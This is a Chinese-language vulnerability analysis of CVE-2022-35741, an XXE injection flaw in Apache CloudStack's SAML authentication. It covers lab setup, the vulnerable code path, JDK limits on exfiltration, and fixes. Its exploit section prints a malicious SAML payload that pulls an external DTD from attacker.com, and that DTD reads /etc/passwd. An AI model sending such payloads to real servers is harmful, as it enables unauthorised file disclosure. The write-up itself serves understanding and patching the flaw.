CVE-2022-35741 Apache CloudStack SAML XXE注入
字数 1228 2025-08-26 22:11:15

Apache CloudStack SAML XXE注入漏洞分析(CVE-2022-35741)

漏洞概述

CVE-2022-35741是Apache CloudStack中存在的一个XXE(XML External Entity)注入漏洞,影响SAML认证功能。攻击者可以通过构造恶意的SAML响应,在服务器上执行任意文件读取操作。

环境搭建

使用Docker快速搭建测试环境

  1. 拉取预构建的CloudStack模拟器镜像:
docker pull ustcweizhou/cloudstack-simulator
  1. 运行容器:
docker run --name cloudstack-simulator -p 8888:5050 -p 9999:9999 -d ustcweizhou/cloudstack-simulator
  • 8888端口:Web管理界面
  • 9999端口:远程调试端口
  1. 配置远程调试:
# 在宿主机创建supervisord配置文件
vim supervisord.conf

# 内容如下:
[supervisord]
nodaemon=true

[program:mysqld]
command=/usr/bin/mysqld_safe
autostart=true
autorestart=true
user=root

[program:cloudstack]
command=/bin/bash -c "export MAVEN_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:9999';mvn -pl client jetty:run -Dsimulator -Dorg.eclipse.jetty.annotations.maxWait=120"
directory=/root
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root

[program:cloudstack-ui]
command=/bin/bash -c "npm run serve"
directory=/root/ui
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root
  1. 将配置文件复制到容器并更新:
docker cp supervisord.conf 容器id:/etc/supervisor/conf.d/supervisord.conf
docker exec -it 容器id bash
supervisorctl update

漏洞分析

漏洞触发路径

  1. 入口点ApiServlet类的processRequestInContext方法

    • 处理所有/api/路径下的请求
    • 从请求参数中提取commandSAMLResponse
  2. 认证流程

    • 检查command是否为saml相关命令(samlssosamlslo)
    • 调用SAML2LoginAPIAuthenticatorCmdauthenticate方法
    • 最终调用decodeSAMLResponse处理SAML响应
  3. 漏洞点

    • decodeSAMLResponse方法中对responseMessage进行Base64解码后直接进行XML解析
    • 未禁用外部实体解析,导致XXE漏洞

关键代码分析

// 在SAML2LoginAPIAuthenticatorCmd类中
protected void processSAMLResponse(String responseMessage) {
    String decodedResponse = decodeSAMLResponse(responseMessage);
    // 解析XML,未禁用XXE
}

// 解码SAML响应
private String decodeSAMLResponse(String responseMessage) {
    return new String(Base64.decodeBase64(responseMessage));
}

触发条件

  1. SAML必须启用:

    • 在全局配置中将saml2.enabled设置为true
  2. 请求必须满足:

    • 发送到/api/路径
    • 包含command参数,值为samlssosamlslo
    • 包含SAMLResponse参数,值为恶意构造的Base64编码XML

漏洞利用

基本利用方式

构造恶意SAML响应:

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://attacker.com/ev.dtd">
%ext;
]>
<message></message>

外部DTD文件(ev.dtd):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

利用限制

  1. JDK版本影响

    • JDK < 7u141 或 < 8u131:不受文件中换行符影响
    • JDK 8u131-8u231:能创建FTP连接,但文件内容含换行符会抛出异常
    • JDK ≥ 8u232:只要URL含换行符就无法创建FTP连接
  2. CloudStack环境

    • 使用OpenJDK 11.0.15,属于高版本JDK
    • 传统的FTP外带数据方法失效
    • 错误信息中可能包含文件内容,但不会回显到前端

修复建议

  1. 官方修复方案:

    • 升级到已修复版本
    • 在XML解析器中禁用外部实体:
      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
      dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
      dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
      dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
      
  2. 临时缓解措施:

    • 禁用SAML功能(如果不使用)
    • 配置WAF拦截包含<!DOCTYPE<!ENTITY的请求

总结

CVE-2022-35741是一个典型的XXE注入漏洞,由于Apache CloudStack在解析SAML响应时未正确配置XML解析器导致。虽然在高版本JDK环境下难以实现数据外带,但仍可能造成敏感信息泄露。开发人员应始终在解析XML时禁用外部实体,以防止此类漏洞。

Apache CloudStack SAML XXE注入漏洞分析(CVE-2022-35741) 漏洞概述 CVE-2022-35741是Apache CloudStack中存在的一个XXE(XML External Entity)注入漏洞,影响SAML认证功能。攻击者可以通过构造恶意的SAML响应,在服务器上执行任意文件读取操作。 环境搭建 使用Docker快速搭建测试环境 拉取预构建的CloudStack模拟器镜像: 运行容器: 8888端口:Web管理界面 9999端口:远程调试端口 配置远程调试: 将配置文件复制到容器并更新: 漏洞分析 漏洞触发路径 入口点 : ApiServlet 类的 processRequestInContext 方法 处理所有 /api/ 路径下的请求 从请求参数中提取 command 和 SAMLResponse 认证流程 : 检查 command 是否为 saml 相关命令( samlsso 或 samlslo ) 调用 SAML2LoginAPIAuthenticatorCmd 的 authenticate 方法 最终调用 decodeSAMLResponse 处理SAML响应 漏洞点 : decodeSAMLResponse 方法中对 responseMessage 进行Base64解码后直接进行XML解析 未禁用外部实体解析,导致XXE漏洞 关键代码分析 触发条件 SAML必须启用: 在全局配置中将 saml2.enabled 设置为 true 请求必须满足: 发送到 /api/ 路径 包含 command 参数,值为 samlsso 或 samlslo 包含 SAMLResponse 参数,值为恶意构造的Base64编码XML 漏洞利用 基本利用方式 构造恶意SAML响应: 外部DTD文件( ev.dtd ): 利用限制 JDK版本影响 : JDK < 7u141 或 < 8u131:不受文件中换行符影响 JDK 8u131-8u231:能创建FTP连接,但文件内容含换行符会抛出异常 JDK ≥ 8u232:只要URL含换行符就无法创建FTP连接 CloudStack环境 : 使用OpenJDK 11.0.15,属于高版本JDK 传统的FTP外带数据方法失效 错误信息中可能包含文件内容,但不会回显到前端 修复建议 官方修复方案: 升级到已修复版本 在XML解析器中禁用外部实体: 临时缓解措施: 禁用SAML功能(如果不使用) 配置WAF拦截包含 <!DOCTYPE 或 <!ENTITY 的请求 总结 CVE-2022-35741是一个典型的XXE注入漏洞,由于Apache CloudStack在解析SAML响应时未正确配置XML解析器导致。虽然在高版本JDK环境下难以实现数据外带,但仍可能造成敏感信息泄露。开发人员应始终在解析XML时禁用外部实体,以防止此类漏洞。